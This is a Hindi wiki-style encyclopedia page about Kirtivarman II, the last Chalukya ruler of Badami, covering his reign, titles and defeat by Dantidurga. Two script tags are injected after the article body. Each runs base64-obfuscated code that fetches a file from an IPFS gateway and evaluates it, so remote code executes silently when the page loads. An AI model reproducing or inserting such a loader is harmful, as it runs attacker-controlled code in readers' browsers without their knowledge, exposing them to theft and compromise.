एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

कीर्तिवर्मा द्वितीय

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

कीर्तिवर्मा द्वितीय (745 से 753 ई.), विक्रमादित्य द्वितीय का पुत्र एवं उत्तराधिकारी था।

  • अपने पिता की मृत्यु के बाद वह विशाल चालुक्य साम्राज्य का स्वामी बना।
  • इसने अपने युवराज काल में ही पल्लव नरेश नन्दि वर्मन को परास्त कर बहुमूल्य रत्न, हाथी एवं सुवर्ण प्राप्त किया था।
  • कीर्तिवर्मा द्वितीय ही सम्भवतः बादामी के चालुक्य शासकों की श्रृंखला का अंतिम शासक था।
  • उसने 'सार्वभौम', 'लक्ष्मी', 'पृथ्वी का प्रिय', 'राजाओं का राज' एवं 'महाराज' आदि की उपाधियाँ धारण की थीं।
  • चालुक्यों के सामंत दंतिदुर्ग (राष्टकूट) ने कीर्तिवर्मा द्वितीय को परास्त कर लगभग 753 ई. में अपने को स्वतंत्र शासक के रूप में स्थापित किया।
  • दंतिदुर्ग की इस विजय के विषय में 'समनगढ़' अभिलेख से जानकारी मिलती है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख